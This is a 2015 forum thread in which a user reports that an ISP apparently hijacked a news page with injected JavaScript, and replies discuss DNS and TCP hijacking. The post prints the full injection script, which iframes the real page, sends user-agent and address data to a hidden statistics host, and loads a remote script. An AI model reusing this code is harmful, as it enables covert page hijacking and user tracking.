AdvertCN - 广告中国

 找回密码
 立即注册

QQ登录

只需一步,快速开始

Binom
 谷歌+Bing+TT+MSN官方代理 
⚡️按条S5代理⚡️静态⚡️独享⚡️5G需要代理IP?⚡️Proxysites.ai⚡️指纹浏览器,就用AdsPower
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利买量投流开户独立站⚡️开户投放
DuoPlus专注打造跨境电商云手机E.PN 虚拟卡BINOM TRACKER 60% OFF!比Adplexity还好用的Spy工具
MediaGo+Taboola+Ob开户百度国际MediaGo⚡️让产品狂奔全球百度国际,高点击转化,快速放量百度国际MediaGo,独家原生流量
ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理全球虚拟卡, 支持U充值Facebook 批量上广告
尤里改 - FB 稳定投放免费黑五教程(持续更新、欢迎交流)FB 三不限源头 - 自助下户充值转款各种主页、账单户、BM户(优势)
⚡️个人户,bm户不限额,账单户一手BM分享户不限额9Proxy ⚡️ $0.04/IP, 无限带宽 IPCola原生住宅IP⚡️$2.1/条双ISP
FB二三解0.1元一个虚拟卡|PTM星际卡FB专用虚拟卡Google、Bing官方总代  联盟流量开户
FB账号资源/稳定靠谱/运行5年啦FB开户代投/三不限/白名单fb耐用号0.01一个fb账号官方合作商
FB资源,账单户,分享户,国内一手FB企业户BM户账单户源头广告位出租 
查看: 8133|回复: 12

[闲聊] 上网奇遇记

[复制链接]

44

主题

770

广告币

1422

积分

高级会员

Rank: 4

积分
1422
发表于 2015-2-3 00:52:03 | 显示全部楼层 |阅读模式
本帖最后由 hudba 于 2015-2-3 00:56 编辑
% G: S) x0 P- o" ]/ y
- n3 H7 l0 ~9 }! F4 ]1 C( O上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了
. J5 r4 Q" [. V
/ j2 C3 s. i+ I3 K% X* f接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}5 B. F% H' j$ o0 ?. X! ]1 P  A
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8
http://www.v2ex.com/t/142197

8 E0 ]" }$ ?4 P9 W  A
- |# v: K6 l; e4 V# |5 X顺便查下ip138:; D' t2 [# ^6 J% d8 p0 m

6 X: `  Q- a1 Y' V, X& `这是那段js里面的代码,好象是个半成品还没写入广告数据:3 h- B  B+ \' C) B
  1. function locationSearch() {  D: ~4 L6 ^- S. }/ j6 x
  2.         var s = getMainJs();" G: ?' E1 _# v7 a
  3.         if (s == null) {2 T3 D& g6 M4 \6 v- ~* J* v3 p! u
  4.                 location.reload();# d6 C9 O! r6 w2 x# ~+ A1 j, G
  5.         }
    8 ?  D) v% t7 X; Z2 e, X
  6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);& Q  X5 ~( v; \/ }6 @0 Y( v4 W
  7. }
    ) ~- X  M5 c7 X* u
  8. & p6 N2 \$ a4 H
  9. function getParameter(name, paraStr) {  q2 ~* Q* o+ [* O1 f8 t6 E
  10.         var result = "";% u% X8 v  ?5 A" \
  11.         var str = "&" + paraStr.split("?")[1];8 m3 `; U  r5 R4 {! ^% l/ ^. D) m/ I
  12.         var paraName = "&" + name + "=";
    / x/ x( o: S, ~5 N2 T2 ^( F( ^
  13.         if (str.indexOf(paraName) != -1) {& i+ {+ A( w( j3 J; J6 ]; A  G/ Q: ]
  14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    & [; B  b8 |4 x& L; K5 x
  15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);' l+ l* ^$ [6 Y# u1 d  z/ P
  16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    5 h+ ~  B6 h* s$ H: g0 F! D6 o& d/ u! [
  17.                                         1, TmpStr.length).indexOf("&")
    6 o" S$ W! T* }" H2 U* x
  18.                                         - TmpStr.indexOf(paraName) + 1);9 q! B0 {. g$ Z7 ]) A
  19.                 } else {
    ' v) w# I4 {8 J. U4 y% e
  20.                         result = str.substring(str.indexOf(paraName), str.length);
    8 A. X9 P" s) G! {) y2 h
  21.                 }4 u: J9 A4 m! W; f
  22. & L. o: i+ A6 l" p& z$ q$ R
  23.                 result = result.substring(result.indexOf("=") + 1, result.length);/ K- ]% W3 r0 A! b# ~
  24.         } else {8 V4 D1 s5 j# E7 d: m; \! j/ W
  25.                 result = "No such parameter";2 ~" `* G$ }+ k/ ]+ \* v
  26.         }$ u2 a5 P" _+ U% Y, n. V4 S
  27.         return (result.replace("&", ""));, {2 v8 Y: L, P1 t. P1 Y
  28. }
    : a  b! T1 W7 X- A! M. E
  29. / |) g8 W7 H9 G/ B: |
  30. function getMainJs() {5 v; W! A3 k8 x3 s# J  X
  31.         var scripts = document.getElementsByTagName("script");$ i2 ]. t0 j) a; ]% @7 x  J
  32.         var s = null;; m5 Q& M% N, D' B9 f
  33.         for (var i = 0; i < scripts.length; i++) {9 z# G$ _* S1 `4 m: K* h( m7 j
  34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {/ D5 J& x  K( u6 r1 R2 l
  35.                         s = scripts[i];7 E+ L% a! H& p6 ]0 S
  36.                         break;
    % X4 o/ P9 G4 ~$ S6 N2 I
  37.                 }. M% k8 ^, R- v, ?' z! b& R
  38.         }
    0 K+ y; S% h# Y0 b4 C( d# S
  39.         return s;  [! r0 q. z! c5 c# _2 p
  40. }
    5 M. C, m. b% v; `1 A5 [
  41. ! Y$ a$ Z+ q* H* z7 r; \
  42. function appendParam(oStr, aStr) {# V" \2 Q, f0 \
  43.         if (oStr.indexOf('?') > 0) {
    - {0 K9 U+ ?& e, f
  44.                 oStr = oStr + "&" + aStr;2 R7 `4 Y5 T, o9 x9 Y% ]+ m
  45.         } else {
    + b& \$ f- r1 v
  46.                 oStr = oStr + "?" + aStr;) W! A% j6 B. R; L4 I4 v
  47.         }/ ^$ U$ l( h: w6 g8 G
  48.         return oStr;
    9 K& J4 r1 M6 y
  49. }
    2 L) D4 O! ^  C) o  N: A

  50. ( ~! g: f3 W  w  t$ d8 h
  51. window.onerror = function() {
    " K; A7 k  F& N. p4 V
  52. };
    ( D! o3 ]1 U$ w

  53. & p6 F( |- W7 D, h9 ]' C$ P0 A( f
  54. var g_titleTime = 0;
    & o# h. m8 d1 n9 G7 D2 A5 f
  55. function setTcTitle() {
      [+ O3 w& R" d- V
  56.         if (undefined == document) {- Z; S9 v3 H$ F/ j7 H
  57.                 g_titleTime++;4 Q; d2 |+ h, H% e$ M, x: R2 M
  58.                 setTimeout("setTcTitle();", 1000);( v4 y9 j% H" @6 `! j
  59.                 return;+ V8 M) t# W: j9 p: G7 M8 X& }
  60.         }
    ( N% j& d% @; x- C( i

  61. 9 U: b5 Y8 e$ X; |; L9 g# t# Q
  62.         var doc;% |' v; `1 W8 c  M
  63.         try {
    , R0 u7 C0 Z- u# U' Z; H4 R/ l
  64.                 if (document.all) {8 N9 d7 j8 O2 Z; g$ ^$ }
  65.                         doc = document.frames["cn"].document;
    . N5 A- Z% I/ o5 j+ ^  i; K5 V6 ^! i5 r
  66.                 } else {9 Q" o: B0 x9 w3 S! |/ b/ B
  67.                         doc = document.getElementById("cn").contentDocument;
    : [, [! ?9 k4 d# i
  68.                 }6 E9 z5 Z% A8 X. ?& u- J5 ~' Z' Y
  69.         } catch (ex) {! B. b! r. s9 O8 V5 T
  70.         }+ z$ }* y% c# n! v& @# w, Q
  71. * x: T) d. R2 \+ h0 M  O
  72.         if (g_titleTime < 5
    6 A! a" t' z" r/ Q' B
  73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    " Q# \" g  n0 |
  74.                 g_titleTime++;
    ) b$ ^2 j8 ]2 y
  75.                 setTimeout("setTcTitle();", 1000);
    " C. {  W2 E- k$ x: d4 z
  76.                 return;; y: V/ _) C: H, s
  77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    ' @9 S* v# v/ ?' h
  78.                 document.title = doc.title;
    - B# \6 U9 f' z7 `% z
  79.                 setTcAdvVisible();
    " D: K3 Q4 Z" q/ R4 f) P
  80.         }
    5 R/ d' p2 x9 f8 g' ^# ]
  81. }
    $ O  Y0 _1 V8 q6 D) c* o$ I

  82. 0 P7 m) z  V5 D% A. p
  83. setTimeout("setTcTitle();", 1000);
    5 o9 Y0 J* B" d: {
  84. ! a8 C) J4 f5 l1 G; h
  85. var g_isHaveVisible = false;
    ( [) G3 D& Q5 o) n! e- L
  86. function setTcAdvVisible() {$ s/ ~7 K9 n& C* e
  87.         if (undefined != document && undefined != document.getElementById("addiv")
    " P$ M7 f1 {9 k
  88.                         && !g_isHaveVisible) {
    % @/ y% ~6 t) l* Y9 ~
  89.                 document.getElementById("addiv").style.visibility = 'visible';
    & z$ D0 O) q  w5 O( M" i% }& D! z
  90.                 document.getElementById("addiv").style.display = 'block';$ i+ q) e* ?! }& H& ^+ J3 M* {
  91.                 g_isHaveVisible = true;6 i- ?: B! N  q9 u" Y. I' o7 @; D, Q
  92.         }+ ~" l5 C% \$ t6 G: w( }3 k) {, e
  93. }; k; ^5 r7 P% o+ A& K2 P6 i7 `: z  Y* R

  94. $ G5 y' q; F+ I- _. F
  95. function UrlAnalyzer() {- A  q6 O7 ?# u+ t" d
  96.         this.divda = "";# \' Z4 h- t* u1 t4 q+ s( h
  97.         this.tctype = "";
    * z. w  x, @( M/ d; Q3 i- V; V4 V
  98.         this.radius = "";3 m# }5 e2 @; {
  99.         this.rlu = "";
    ; Y$ g1 a; [: l
  100. }- b3 J) p0 L! i9 o. `
  101. % R& ~. P0 U3 x2 l( @
  102. UrlAnalyzer.prototype.initParameters = function() {* d% m$ m) P- ~& Q6 n  |" Y$ x
  103.         var paraStr = locationSearch();
    ; a0 I  D6 X5 k! t/ p
  104.         this.rlu = getParameter("lruedct", paraStr);7 y4 u3 ~& _% h
  105.         this.divda = getParameter("divda", paraStr);
    5 b) _1 E9 U" m1 l
  106.         this.radius = getParameter("radius", paraStr);6 Q' V4 ?5 N; G( K9 m$ y$ y% o8 Q
  107.         this.tctype = getParameter("tctype", paraStr);
    0 [3 j% [4 E  e. \" p
  108.         this.address = getParameter("address", paraStr);/ H9 i) H1 b+ `3 U9 u( O# R
  109.         this.usagent = getParameter("usagent", paraStr);
    2 {, `& h( ~3 z! J) j2 }: {
  110. }
    7 p* s/ u; h, ?

  111. " Y+ n0 j1 m# m0 _) K( r
  112. UrlAnalyzer.prototype.getHtmlDoc = function() {9 W2 d! B7 d  m2 m! q8 e
  113.         var doc;
    . b. l6 n! B9 t) ~: d
  114.         try {8 A6 y' N4 x7 E$ w
  115.                 if (document.all) {
    - ^4 Y  Z* c! c$ b8 m& q
  116.                         doc = document.frames["cn"].document;
    ; k+ A+ }( i" L2 H, V) J

  117. 1 Y& k$ B4 e, b2 l+ N% m7 _; z& d
  118.                 } else {
    0 i( s8 G8 _4 x3 Y6 |6 [
  119.                         doc = document.getElementById("cn").contentDocument;
    5 W7 x9 ]3 S7 j
  120.                         // doc = document.getElementById("cn").contentWindow.document;
    - k. F* j2 t' L6 ~# b8 h
  121.                 }
    & q3 }! O; d- `* H2 i4 K/ r
  122.         } catch (ex) {
    8 }4 e/ V2 }- D% x8 J( d2 @7 I% Y
  123.         }' L+ T- {6 p1 s: ?. X2 X" L: {3 }
  124.         return doc;. Z7 c9 E& `0 W8 a1 {2 [. ^& H
  125. }
      A3 Y( a( N% O. [% C* f6 Q$ G
  126.   D! v. @0 a) P; r7 q7 b
  127. UrlAnalyzer.prototype.setDomain = function() {
    ! a& ]$ g3 I& `6 Y
  128.         if (undefined != document.title && "" == document.title)7 m% J) ^* C/ F0 I9 m0 d
  129.         {
    ! K9 e- P9 Z# A3 b& Q8 `: E( F
  130.                 var index = document.domain.indexOf(".");
    2 |7 R. i; W) X& h5 Z. B
  131.                 if (undefined != index && -1 != index) {
    ( f8 m; n* `! Y9 R2 z+ }
  132.                         document.domain = document.domain.substring(index + 1,
    9 w8 _# F7 q! @( O5 K0 `8 I
  133.                                         document.domain.length);- @, r0 G7 I  h/ }5 h1 x9 Z
  134.                 }1 b- D  E& ?0 d0 F" o
  135.                 3 c7 z! b1 |5 K; `
  136.                 var doc = this.getHtmlDoc();
      D, H0 l) ~3 O; x
  137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
    ; G$ X8 w4 `5 |7 F
  138.                         document.title = doc.title;+ ^, ?0 R/ R  G3 |2 A* ?
  139.                         setTcAdvVisible();  l0 H! d9 H0 M: B" i) T
  140.                 }: f  s6 d5 B/ U" n: r( J% _, c
  141.         }1 A$ D/ f- b) B) l+ e+ ~
  142. }
    7 {  h4 m' i2 _
  143. ' x# Q3 u1 V7 D# t: n/ z
  144. UrlAnalyzer.prototype.iframeCallback = function() {
      b1 ~, S6 m# B  f
  145.         var doc = this.getHtmlDoc();$ {3 I7 m9 Q' H& z" i2 q
  146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
    2 m1 s2 G! X  d( r5 e: ]0 ]& e
  147.                 if (undefined != document.domain) {  Z! d  A$ @# t* L0 o3 T! o
  148. 1 {6 j+ A9 M4 j# S( r7 {/ O
  149.                         var self = this;; n3 B& K# K) f( n( D1 I/ T
  150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
    - v3 V# p: R) l5 R; i5 J. c
  151.                         // var index = document.domain.indexOf(".");
    - ~% k, K: |% i6 m" y
  152.                         // if (undefined != index && -1 != index) {
    1 r. n; K) [5 E: g
  153.                         // document.domain = document.domain.substring(index + 1,- O! m1 ^8 D) a& _( p8 d
  154.                         // document.domain.length);$ e$ w( ~$ Q2 ?) e. r9 p9 y% Q
  155.                         // }
    % Z8 ?% e. ^* l; c. h! V
  156.                         //
    % {# U1 h9 v& k/ c) h: O9 ^
  157.                         // var doc = this.getHtmlDoc();
    7 S, ^0 J4 ^9 Q. q9 E8 }
  158.                         // if (undefined != doc && undefined != doc.title && "" !=
    7 ~$ N( M& M% y& M
  159.                         // doc.title) {
    * ?+ r' Q" s2 \# M8 c( X
  160.                         // document.title = doc.title;2 t+ l+ u0 o# [  Q0 d
  161.                         // setTcAdvVisible();
    7 X- C# i7 T" k& {) `
  162.                         // }
    2 b( S" H- I. U5 ]% b: e# Y. R1 `
  163.                 }" I& L  f0 j0 \( [. D
  164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    - A- M) ]" T: O
  165.                 document.title = doc.title;/ _8 r: ]5 L+ x
  166.                 setTcAdvVisible();! N2 a& n) n- z; k% M
  167.         }
    ) w' }+ j. P/ a7 q) U8 c
  168. }/ ~2 G6 A" c$ T9 [: f) H

  169. 0 R9 o( p4 X; g
  170. UrlAnalyzer.prototype.executeHtmlContext = function() {: o( ?% C1 r# T  h* ]3 m
  171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda: P( v  W# S' R# ]0 O2 P( c( f5 w
  172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;% y1 P* g1 ?$ O
  173.   |8 K6 R7 \6 S/ W
  174.         var htmlStr = "<iframe src="" + staUrl* z7 ^( U! }' @5 ]  r5 v
  175.                         + "" style="display:none"></iframe>";2 t( r8 h9 Q* N  u1 ]' A3 B
  176. ' q; j; U( ]) h8 C1 ]5 n
  177.         var advUrl = htmlStr- d5 g) Y. A2 X9 c2 ~, x+ y( L
  178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
    / p% L: z  p# D5 f- R  P* S, m
  179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";8 L! w0 t1 f  N$ I+ L
  180.         document.write(advUrl);
    % D9 T4 k( K0 [& }, ]

  181. + O  H; j! }: V5 f$ |) a- u5 x2 F
  182.         var self = this;; w. M& a. Y5 d+ n$ _
  183.         var iframe = document.getElementById("cn");- a) E1 f7 {7 q+ @
  184.         if (iframe.attachEvent) {) x) ?: ^  H& p4 `: J; {
  185.                 iframe.attachEvent("onload", function() {
    ; y0 j' T: s) R. [: `" P
  186.                         self.iframeCallback.call(self, null);
    3 Z9 A' {) d2 x) I: D+ b; w) o
  187.                 });
    7 i+ I4 s2 t2 i3 S) S" N5 @
  188.         } else {
    $ k. o3 U4 `" B6 O7 v9 x" R
  189.                 iframe.onload = function() {
    * _% D. Q8 Y4 X: B  Q9 F1 f
  190.                         self.iframeCallback.call(self, null);7 L) y4 D; b( h
  191.                 }
    & D3 h+ B2 q$ O8 a
  192.         }
    ; J+ G; y% `% }' f5 Q% R- u
  193. }" S& {; s0 L/ x9 F" T
  194. 1 @8 X0 V$ \; w" U
  195. UrlAnalyzer.prototype.executeMain = function() {
    & `2 n( E0 L3 T; M% e6 s# b4 Z
  196.         var mainFrame = document.getElementById("cn");  z. t% f# c1 c, s/ d' f: X
  197.         mainFrame.contentWindow.location.href = mainFrame.src;
    # x2 P. R. R2 P  T: }; i1 b+ J! a
  198.         this.initParameters();
    ! A/ z2 X" e1 ]/ E; E& J
  199.         this.executeHtmlContext();9 f( v$ j2 V# G/ a
  200. }
    . t' R6 ~# a' g4 d9 S$ }8 u
  201. 4 w* R6 ^+ r  v" z" v
  202. var g_analyzer = new UrlAnalyzer();9 K  Y8 W; `% A$ N
  203. g_analyzer.executeMain();
    - M1 ^  p* y* N) ^' f2 {& s9 L. |3 y
复制代码

: ]* ~: X" Y# U" c+ e4 J6 g
% d- z9 ~8 K4 o4 S: }( y* r3 V3 I6 l6 Z

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
相关帖子
回复

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 01:33:54 | 显示全部楼层
回复 支持 反对

使用道具 举报

51

主题

449

广告币

835

积分

中级会员

Rank: 3Rank: 3

积分
835
发表于 2015-2-3 04:58:09 | 显示全部楼层
我在想有没有大牛会去干电信那个网页,那就发啦。哈哈
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-3 09:49:12 | 显示全部楼层
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

点评

TCP劫持,换DNS也不管用的。  详情 回复 发表于 2015-2-3 21:26
回复 支持 反对

使用道具 举报

26

主题

346

广告币

593

积分

中级会员

Rank: 3Rank: 3

积分
593
发表于 2015-2-3 09:49:33 | 显示全部楼层
法制不健全,没法。我这里也有电信绑架的问题,但你没辙,要国外,早赔的只剩内裤了。
回复 支持 反对

使用道具 举报

22

主题

1637

广告币

1951

积分

高级会员

Rank: 4

积分
1951
发表于 2015-2-3 13:12:15 | 显示全部楼层
电信DNS劫持不是一天两天了。国家垄断企业,没人能管”。。。
回复 支持 反对

使用道具 举报

1

主题

69

广告币

497

积分

中级会员

Rank: 3Rank: 3

积分
497
发表于 2015-2-3 14:24:00 | 显示全部楼层
我这段时间也遇到了,投诉了两次,这几天没出现了,再出现继续投诉
回复 支持 反对

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 21:26:11 | 显示全部楼层
阿百川 发表于 2015-2-3 09:494 }$ x1 t1 |* t/ ?9 T( Z
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

+ F6 y! i' ?& H% ~+ TTCP劫持,换DNS也不管用的。

点评

正解。  发表于 2015-2-3 21:43
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-4 07:36:43 | 显示全部楼层
ads419 发表于 2015-2-3 21:26
8 i1 J% s' e. j6 XTCP劫持,换DNS也不管用的。
5 p5 b; x. E( O
幸好联通还木有这么强的技术

点评

联通也一样,各地不同罢了。  发表于 2015-2-4 10:07
回复 支持 反对

使用道具 举报

12

主题

915

广告币

1212

积分

高级会员

Rank: 4

积分
1212

社区QQ达人

发表于 2015-2-4 20:47:04 | 显示全部楼层
在国内,习惯就好
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2025-1-12 18:00 , Processed in 0.051369 second(s), 14 queries , Gzip On, MemCache On.

Copyright © 2001-2023, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表